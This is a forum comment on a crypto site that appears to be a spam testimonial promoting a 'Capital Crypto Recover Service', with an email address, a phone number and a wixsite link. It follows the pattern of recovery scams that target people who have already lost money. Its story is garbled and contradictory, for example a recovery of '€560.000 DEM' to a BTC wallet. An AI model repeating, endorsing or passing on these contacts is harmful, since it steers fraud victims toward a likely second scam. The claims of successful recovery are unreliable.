with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon